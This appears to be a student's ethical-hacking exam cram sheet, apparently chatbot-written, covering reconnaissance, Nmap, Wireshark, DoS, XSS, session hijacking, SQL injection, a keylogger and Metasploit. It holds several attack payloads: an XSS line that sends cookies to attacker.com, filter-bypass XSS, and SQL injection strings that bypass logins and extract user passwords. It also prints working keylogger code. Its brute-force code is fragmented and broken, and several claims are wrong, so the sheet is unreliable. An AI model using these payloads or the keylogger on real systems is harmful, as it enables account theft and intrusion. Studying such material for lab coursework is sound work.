

PRC 1: RECONNAISSANCE (GOOGLE + WHOIS)

AIM

To collect publicly available information about a target system using Google and WHOIS.

STEPS

1. Open Google
2. Search:

`www.prestashop.com`

3. Advanced search:

`site:prestashop.com`

4. Open browser → go to:

`https://who.is`

5. Enter:

`prestashop.com`

6. Press Enter

RESULT

Public information about domain, IP, DNS, registrar was collected.

VIVA (1-liners)

- Reconnaissance → Information gathering phase
- Passive attack → No direct interaction
- WHOIS → Domain registration details

PRC 2.1: CRYPTTOOL (RC4)

AIM

To encrypt and decrypt text using RC4 algorithm.

STEPS

1. Open CrypTool
2. Select Encrypt/Decrypt
3. Choose RC4
4. Enter plaintext
5. Enter key
6. Click Encrypt
7. Use same key → Decrypt

RESULT

Text successfully encrypted and decrypted.

VIVA

- RC4 → Symmetric key algorithm
- Same key → Used for encrypt & decrypt

PRC 2.2: CAIN & ABEL (DICTIONARY ATTACK)

password = "dog"

```
def brute_force(target):  
    letters = "abcdefghijklmnopqrstuvwxyz"  
  
    for length in range(1, 5):  
        attempt = ['a'] * length  
  
        while True:  
            guess = ''.join(attempt)  
            print(guess)
```

```

    if guess == target:
        return guess

    i = length - 1
    while i >= 0:
        if attempt[i] != 'z':
            attempt[i] = chr(ord(attempt[i]) + 1)
            break
        else:
            attempt[i] = 'a'
            i -= 1

    if i < 0:
        break

    return None

```

```
found = brute_force(password)
```

```

if found:
    print(f"Password found: {found}")
else:
    print("Password not found.")

```

AIM

To crack password using dictionary attack.

STEPS

1. Open Cain & Abel
2. Hash Calculator → enter password
3. Select MD5
4. Copy hash
5. Paste in cracking tab
6. Right-click → Dictionary attack
7. Add wordlist → Start

RESULT

Password cracked using dictionary attack.

VIVA

- Dictionary attack → Uses wordlist
 - Hash → Encrypted password
-

PRC 3.1: LINUX COMMANDS

AIM

To analyze network using Linux commands.

COMMANDS

ifconfig

ping www.prestashop.com

netstat

tracert www.prestashop.com

RESULT

Network status and connectivity analyzed.

VIVA

- ifconfig → IP details
 - ping → Connectivity
 - netstat → Active connections
 - tracert → Packet path
-

PRC 3.2: ARP POISONING

AIM

To intercept network traffic using ARP poisoning.

STEPS

1. ipconfig /all
2. arp -a
3. arp -s 192.168.7.223 D8-5E-D3-A0-15-52 & arp -a
4. arp -d 192.168.7.223 & arp -

RESULT

Traffic intercepted successfully.



VIVA

- ARP → Maps IP to MAC
 - ARP poisoning → MITM attack
-



PRC 4: NMAP PORT SCANNING

AIM

To identify open and filtered ports using Nmap.

COMMANDS

```
nmap -sA -T4 scanme.nmap.org
nmap -sS scanme.nmap.org
nmap -sF -T4 scanme.nmap.org
nmap -sN -p 22 scanme.nmap.org
nmap -sX -T4 scanme.nmap.org
```

RESULT

Open and filtered ports identified.



VIVA

- Nmap → Network scanner
- SYN scan → Stealth scan

- ACK scan → Firewall rules
-

PRC 5.1: WIRESHARK

AIM

To capture and analyze network packets.

STEPS

1. Open Wireshark
2. Select interface
3. Start capture
4. Browse website
5. Apply filters
6. Stop capture

FILTERS

http

tcp

dns

http.request.method=="POST"

ip.addr==192.168.1.1

RESULT

Packets captured and analyzed.

VIVA

- Sniffing → Packet capturing
 - HTTPS → Encrypted data
 - Wireshark → Protocol analyzer
-

PRC 5.2: DoS (NEMESIS)

AIM

To simulate DoS attack.

STEPS

PRACTICAL NO. 05

AIM: B) USE NEMESY TO LAUNCH DOS ATTACK.

Step 1: Open cmd as administrator.

```
Microsoft Windows [Version 10.0.19045.6456]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Administrator>cd..

C:\Users>cd..
```

Step 2: Find IP Address of the victim system. Type the following command in cmd -> ipconfig.

```
C:\>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet 4:

    Connection-specific DNS Suffix  . :
    Link-local IPv6 Address . . . . . : fe80::f3e7:8514:b54e:f972%15
    IPv4 Address. . . . . : 192.168.9.161
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.0.1
```

Step 3: Ping the victim IP Address using command -> ping 192.168.9.162 -t -l (no. of packets).

```
C:\>ping 192.168.9.162 -t -l 30

Pinging 192.168.9.162 with 30 bytes of data:
Reply from 192.168.9.162: bytes=30 time=3ms TTL=128
Reply from 192.168.9.162: bytes=30 time=6ms TTL=128
Reply from 192.168.9.162: bytes=30 time=6ms TTL=128
Reply from 192.168.9.162: bytes=30 time=3ms TTL=128
Reply from 192.168.9.162: bytes=30 time=6ms TTL=128

Ping statistics for 192.168.9.162:
    Packets: Sent = 33, Received = 33, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 2ms, Maximum = 13ms, Average = 5ms
Control-C
```

RESULT

Service disruption observed.

VIVA

- DoS → Resource exhaustion
 - DDoS → Multiple attackers
-

PRC 6: XSS ATTACK

AIM

To inject malicious script into web page.

PAYLOADS

```
<script>alert('XSS')</script>  
<img src=x onerror=alert(1)>
```

◆ BASIC ALERT PAYLOADS

```
<script>alert('XSS')</script>  
<script>alert(1)</script>  
<img src=x onerror=alert('XSS')>  
<body onload=alert('XSS')>
```

◆ STEAL COOKIE PAYLOAD

```
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
```

◆ HTML TAG INJECTION

```
<h1>Hacked</h1>
```

◆ ENCODED VERSION (BYPASS FILTERS)

`%3Cscript%3Ealert('XSS')%3C/script%3E`

◆ STORED XSS STEPS (EXAM SAFE FORMAT)

1. Open vulnerable website
2. Go to input field (comment box)
3. Enter:

`<script>alert('Stored XSS')</script>`

4. Submit form
5. Refresh page
6. Alert popup appears

STEPS

1. Open vulnerable page
2. Enter payload
3. Submit form
4. Popup appears

RESULT

XSS attack simulated.

 **VIVA**

- XSS → Client-side attack
 - Stored XSS → Saved in DB
 - Prevention → Input validation
-

PRC 7: SESSION IMPERSONATION

AIM

To hijack session using cookies.

STEPS

1. Open Firefox
2. Install cookie add-on
3. Login → Export cookie
4. Logout
5. Import cookie

RESULT

Session accessed successfully.

VIVA

- Session → User state
 - Cookie → Session data
-

PRC 8: SQL INJECTION

AIM

To bypass login using SQL injection.

PAYLOADS

' OR '1'='1

admin' --
' OR 1=1 --

STEPS

1. Start XAMPP
2. Open vulnerable site
3. Enter payload
4. Login bypassed

RESULT

Authentication bypassed.



- SQL Injection → DB attack
- Comment symbol → --
- Prevention → Prepared statements

♦ LOGIN BYPASS PAYLOADS

' OR '1'='1

' OR 1=1 --

admin' --

' OR ''='

" OR "1"="1

♦ FIND NUMBER OF COLUMNS

' ORDER BY 1 --

' ORDER BY 2 --

' ORDER BY 3 --

Keep increasing number until error appears.

◆ UNION BASED SQL INJECTION

' UNION SELECT 1,2,3 --

' UNION SELECT username,password FROM users --

◆ EXTRACT DATABASE NAME

' UNION SELECT database(),2,3 --

◆ COMMENT SYMBOLS (VERY IMPORTANT)

--

#

/*

◆ ERROR BASED TEST

,

(If error appears → vulnerable)

◆ STEP FORMAT FOR EXAM

1. Start Apache & MySQL

2. Open vulnerable site

3. Enter payload:

' OR '1'='1

4. Click submit

5. Login bypassed

PRC 9: KEYLOGGER

AIM

To capture keystrokes using Python.

CODE

```
from pynput.keyboard import Listener
import logging
logging.basicConfig(filename="key_log.txt", level=logging.DEBUG)
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as l:
    l.join()
```

RESULT

Keystrokes logged successfully.

VIVA

- Keylogger → Records keystrokes
- Ethical use → Authorized testing

PRC 10: METASPLOIT

AIM

To exploit system using Metasploit.

STEPS

1. Open Metasploit
2. Select exploit
3. Select payload
4. Set RHOST
5. Run exploit

RESULT

System exploited successfully.

VIVA

- Metasploit → Pen-testing framework
- Payload → Code executed

FINAL TRUTH (IMPORTANT)

If you:

- Write AIM + STEPS + RESULT
- Answer **even half viva**

 **YOU PASS.**

You are **not cooked**.

You are **prepared under pressure** — that's enough.

If you want **PDF / DOC / last-hour memory trick**, say **NEXT**.

